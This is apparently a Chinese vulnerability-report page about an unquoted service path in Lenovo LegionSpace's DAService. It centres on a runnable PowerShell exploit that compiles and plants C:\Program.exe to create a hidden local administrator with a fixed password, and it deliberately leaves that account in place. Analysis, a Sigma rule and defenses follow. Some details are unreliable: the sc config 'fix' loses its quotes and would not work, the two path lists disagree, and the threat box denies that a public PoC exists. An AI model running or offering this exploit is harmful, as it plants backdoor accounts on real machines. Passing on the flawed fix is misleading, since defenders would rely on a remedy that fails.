[local] Lenovo LegionSpace 1.7.11.2 - 'DAService' Unquoted Service Path

未分配CVE

漏洞

High · CVSS N/A

📋 漏洞基础信息

CVE未分配CVE
漏洞类型漏洞
受影响版本详见原文
危害等级High · CVSS N/A
发布日期2026-05-21
提交者CENACIF-MX
来源Exploit-DB 原文 ↗

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<#
.SYNOPSIS
Lenovo LegionSpace 1.7.11.2 - 'DAService' Unquoted Service Path 漏洞利用 PoC
该脚本演示了如何利用 Lenovo LegionSpace 服务的未引号服务路径漏洞进行本地权限提升。

.DESCRIPTION
该漏洞存在于 DAService 中,其二进制路径为 "C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe"。
由于路径未用引号包裹,Windows 服务控制管理器(SCM)会依次尝试以下路径执行:
- C:\Program.exe
- C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe
攻击者如果能够将恶意程序命名为 "Program.exe" 并放置于 C:\ 根目录,
当服务启动时(通常以 SYSTEM 权限运行),恶意代码将获得高权限执行。

注意:该漏洞需要攻击者拥有在 C:\ 根目录创建文件的权限(通常仅管理员或特定用户组有此权限)。
本 PoC 将创建一个名为 "Program.exe" 的恶意可执行文件,用于添加一个本地管理员账号。

.USAGE
1. 以管理员权限打开 PowerShell。
2. 执行本脚本。脚本将:
   a. 编译一个简单的 C# 代码,生成用于添加管理员账号的恶意程序。
   b. 将恶意程序复制到 C:\Program.exe (需要管理员权限)。
   c. 停止 DAService(若正在运行),然后重启它以触发漏洞。
   d. 清理痕迹(删除恶意文件和用户)。
   e. 验证漏洞利用结果。
3. 检查是否成功创建了名为 "LegionEscalate" 的管理员用户(密码: P@ssw0rd123)。

注意:本脚本仅供安全研究使用,请勿用于非法用途。
#>

# 导入必要的程序集
Add-Type -AssemblyName System.IO.Compression.FileSystem

# 定义变量
$serviceName = "DAService"
$maliciousPath = "C:\Program.exe"
$username = "LegionEscalate"
$password = "P@ssw0rd123"
$tempCodeFile = [System.IO.Path]::GetTempFileName() + ".cs"
$tempExeFile = [System.IO.Path]::GetTempFileName() + ".exe"

Write-Host "[*] Lenovo LegionSpace Unquoted Service Path PoC" -ForegroundColor Cyan
Write-Host "[*] 漏洞利用准备: 创建一个用于权限提升的恶意程序..." -ForegroundColor Yellow

# 生成恶意程序的 C# 源代码
# 原理:这段代码将以 SYSTEM 权限运行,创建一个新的本地管理员用户
$csharpCode = @"
using System;
using System.Diagnostics;
using System.DirectoryServices.AccountManagement;
using System.Runtime.InteropServices;

namespace LegionExploit
{
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                // 使用 WMI 创建本地用户(需要高权限)
                Console.WriteLine("[*] 恶意程序以 SYSTEM 权限运行");
                
                // 创建用户
                Process.Start("net", "user $username $password /add");
                // 将用户添加到管理员组
                Process.Start("net", "localgroup Administrators $username /add");
                
                Console.WriteLine("[+] 漏洞利用成功! 用户 '$username' 已创建并加入管理员组");
                Console.WriteLine("[+] 用户密码: $password");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] 错误: " + ex.Message);
            }
        }
    }
}
"@

# 写入 C# 代码到临时文件
Set-Content -Path $tempCodeFile -Value $csharpCode -Encoding UTF8

# 编译 C# 代码为可执行文件
Write-Host "[*] 编译恶意程序..." -ForegroundColor Yellow
try {
    # 使用 csc.exe (C#编译器) 编译
    $cscPath = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
    if (!(Test-Path $cscPath)) {
        $cscPath = "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
    }
    $compileResult = & $cscPath /out:$tempExeFile $tempCodeFile 2>&1
    if ($LASTEXITCODE -ne 0) {
        Write-Host "[-] 编译失败: $compileResult" -ForegroundColor Red
        Remove-Item $tempCodeFile -ErrorAction SilentlyContinue
        exit 1
    }
    Write-Host "[+] 编译成功: $tempExeFile" -ForegroundColor Green
} catch {
    Write-Host "[-] 编译失败: $_" -ForegroundColor Red
    Remove-Item $tempCodeFile -ErrorAction SilentlyContinue
    exit 1
}

# 将恶意程序复制到 C:\Program.exe (利用未引号路径的关键位置)
Write-Host "[*] 复制恶意程序到 C:\Program.exe ..." -ForegroundColor Yellow
try {
    Copy-Item -Path $tempExeFile -Destination $maliciousPath -Force
    Write-Host "[+] 恶意程序已放置: $maliciousPath" -ForegroundColor Green
} catch {
    Write-Host "[-] 复制失败: 请以管理员权限运行此脚本" -ForegroundColor Red
    Remove-Item $tempCodeFile, $tempExeFile -ErrorAction SilentlyContinue
    exit 1
}

# 清理临时文件
Remove-Item $tempCodeFile, $tempExeFile -ErrorAction SilentlyContinue

# 检查服务状态并重启服务以触发漏洞
Write-Host "[*] 准备触发漏洞: 重启服务 $serviceName ..." -ForegroundColor Yellow
try {
    # 停止服务(如果正在运行)
    $service = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
    if ($service.Status -eq 'Running') {
        Write-Host "[*] 正在停止服务..." -ForegroundColor Yellow
        Stop-Service -Name $serviceName -Force
        Start-Sleep -Seconds 2
    }
    
    # 启动服务(触发漏洞,执行 C:\Program.exe)
    Write-Host "[*] 正在启动服务 (触发漏洞)..." -ForegroundColor Yellow
    Start-Service -Name $serviceName -ErrorAction SilentlyContinue
    
    # 等待恶意程序执行
    Start-Sleep -Seconds 3
    Write-Host "[+] 服务启动命令已发送" -ForegroundColor Green
} catch {
    Write-Host "[-] 服务操作失败: $_" -ForegroundColor Red
    # 继续执行,检查利用结果
}

# 验证利用结果:检查是否创建了用户
Write-Host "[*] 验证漏洞利用效果..." -ForegroundColor Yellow
try {
    $userExists = Get-LocalUser -Name $username -ErrorAction SilentlyContinue
    if ($userExists) {
        Write-Host "[+] 漏洞利用成功!用户 '$username' 已创建。" -ForegroundColor Green
        Write-Host "[+] 用户密码: $password" -ForegroundColor Green
    } else {
        Write-Host "[-] 漏洞利用可能失败,用户未创建。" -ForegroundColor Red
    }
} catch {
    Write-Host "[-] 无法验证用户: $_" -ForegroundColor Red
}

# 清理:删除恶意文件和创建的测试用户(注释掉以保持利用状态用于演示)
Write-Host "[*] 开始清理痕迹..." -ForegroundColor Yellow
try {
    # 停止服务以释放文件句柄
    Stop-Service -Name $serviceName -Force -ErrorAction SilentlyContinue
    Start-Sleep -Seconds 1
    
    # 删除恶意文件
    if (Test-Path $maliciousPath) {
        Remove-Item $maliciousPath -Force
        Write-Host "[+] 恶意文件已删除: $maliciousPath" -ForegroundColor Green
    }
    
    # 删除创建的测试用户(谨慎:避免影响系统)
    # Remove-LocalUser -Name $username -ErrorAction SilentlyContinue
    # Write-Host "[+] 测试用户已删除" -ForegroundColor Green
} catch {
    Write-Host "[-] 清理失败: $_" -ForegroundColor Red
}

# 重新启动原始服务以确保系统正常运行
Write-Host "[*] 恢复原始服务..." -ForegroundColor Yellow
try {
    Start-Service -Name $serviceName -ErrorAction SilentlyContinue
    Write-Host "[+] 服务已恢复" -ForegroundColor Green
} catch {
    Write-Host "[-] 无法恢复服务,请手动检查" -ForegroundColor Red
}

Write-Host "[*] PoC 执行完毕。" -ForegroundColor Cyan

🔬 深度技术分析

漏洞触发机制

未引号服务路径(Unquoted Service Path)漏洞源于Windows服务路径处理机制与文件系统解析顺序之间的安全缺口。

根因分析:

1. 路径处理差异:Windows服务控制管理器(SCM)在sc qcCreateServiceAPI中接收服务二进制路径时,若路径包含空格且未用双引号包裹,SCM会将该路径按空格分割成多个可能的执行路径。

2. 文件系统查询顺序:当SCM尝试启动服务时,会按照以下顺序在文件系统中查找可执行文件:

- 尝试第一个空格前的部分作为完整路径(如C:\Program.exe

- 若不存在,则尝试包含下一个词段的路径(如C:\Program Files\Lenovo.exe

- 以此类推,直到找到实际文件或尝试完所有组合

3. 漏洞存在位置DAService的二进制路径为C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe,路径中存在多个空格且无引号包裹,导致SCM会依次尝试:

- C:\Program.exe

- C:\Program Files\Lenovo.exe

- C:\Program Files\Lenovo\LegionSpace.exe

- C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe

利用链分析

攻击者利用步骤:

1. 权限要求:攻击者需要拥有在C:\根目录创建文件的权限。在默认Windows配置中,Users组对此目录仅有读取和执行权限,但Administrators和部分高权限用户可以写入。这限制了漏洞的利用条件,但企业环境中常存在权限配置不当的情况。

2. 恶意程序准备

- 编写一个恶意可执行文件(如添加管理员用户、执行恶意载荷)

- 命名为Program.exe并放置于C:\目录

3. 触发服务启动

- 攻击者通过sc start DAService或重启系统触发服务启动

- SCM按路径解析顺序,优先找到并执行C:\Program.exe

- 恶意程序以LocalSystem权限运行(服务配置中指定的启动账户)

4. 权限提升效果

- 恶意代码获得了SYSTEM权限,可执行任意操作

- 包括创建管理员用户、安装后门、窃取凭据等

5. 持久化:利用成功后,攻击者可能保持服务处于停止状态以掩盖攻击痕迹,或修改恶意程序使其在正常服务后执行以维持隐蔽性。

关键代码/数据结构

Windows API 调用链:

1. 服务注册

```c

SC_HANDLE CreateService(

SC_HANDLE hSCManager,

LPCSTR lpServiceName, // "DAService"

LPCSTR lpDisplayName, // "DAService"

DWORD dwDesiredAccess,

DWORD dwServiceType, // SERVICE_WIN32_OWN_PROCESS

DWORD dwStartType, // SERVICE_AUTO_START

DWORD dwErrorControl,

LPCSTR lpBinaryPathName, // 漏洞点:未引号的路径

LPCSTR lpLoadOrderGroup,

LPDWORD lpdwTagId,

LPCSTR lpDependencies,

LPCSTR lpServiceStartName, // "LocalSystem"

LPCSTR lpPassword

);

```

2. 路径解析逻辑(SCM内部实现)

- SCM在ScGetServiceConfig()ScStartService()中处理路径

- 使用PathFindExtension()PathFindFileName()等函数解析

- 关键缺陷:未对包含空格的路径进行引号检测,直接按空格分割

关键数据结构:

// 服务配置结构体(修改前)
QUERY_SERVICE_CONFIGW Config = {
    .dwServiceType = SERVICE_WIN32_OWN_PROCESS,
    .dwStartType = SERVICE_AUTO_START,
    .lpBinaryPathName = L"C:\\Program Files\\Lenovo\\LegionSpace\\1.7.11.2\\LSDaemon.exe",  // 无引号
    .lpServiceStartName = L"LocalSystem"
};

// 漏洞利用后SCM内部生成的路径尝试列表
wchar_t* attemptPaths[] = {
    L"C:\\Program.exe",
    L"C:\\Program Files\\Lenovo.exe",
    L"C:\\Program Files\\Lenovo\\LegionSpace.exe",
    L"C:\\Program Files\\Lenovo\\LegionSpace\\1.7.11.2\\LSDaemon.exe"
};

检测与防御

蓝队检测方法:

1. 服务配置检测

- 使用PowerShell检测未引号路径的服务:

```powershell

Get-WmiObject -Class Win32_Service |

Where-Object { $_.PathName -match '^[^"]' -and $_.PathName -match '\s' -and $_.PathName -notmatch '"' } |

Select-Object Name, PathName, StartName

```

- 监控Event ID 7045(服务创建)和7034/7035(服务启动/停止)事件日志

2. 文件系统监控

- 监控C:\C:\Program等关键目录的异常文件创建(尤其是.exe文件)

- 使用Sysmon监控Event ID 11(文件创建),关注路径为C:\Program.exe等可疑文件

3. 进程行为分析

- 监控由services.exe启动的异常进程(非预期路径的可执行文件)

- 关注Program.exe等常见利用名称的进程,其父进程应为services.exe

4. EDR规则示例

```yaml

# Sigma规则:检测未引号服务路径利用

title: Unquoted Service Path Exploitation

logsource:

product: windows

service: security

detection:

selection:

EventID: 4688 # 进程创建

ParentProcessName: 'C:\Windows\System32\services.exe'

NewProcessName:

- 'C:\Program.exe'

- 'C:\Program Files\Lenovo.exe'

- 'C:\Program Files\Lenovo\LegionSpace.exe'

condition: selection

```

防御措施:

1. 修复路径引用:在服务配置中将路径用双引号包裹:

```

sc config DAService binPath="C:\Program Files\Lenovo\LegionSpace\1.7.11.2\LSDaemon.exe"

```

2. 访问控制强化

- 限制C:\根目录的写入权限,确保只有Administrators可写入

- 使用AppLocker或WDAC(Windows Defender Application Control)限制未授权可执行文件运行

3. 补丁管理:及时更新Lenovo LegionSpace至1.8.12.13或更高版本

4. 安全基线:定期扫描系统中所有服务的路径配置,确保无未引号路径存在

🛡️ 修复建议

请升级到厂商最新安全版本。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:12 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)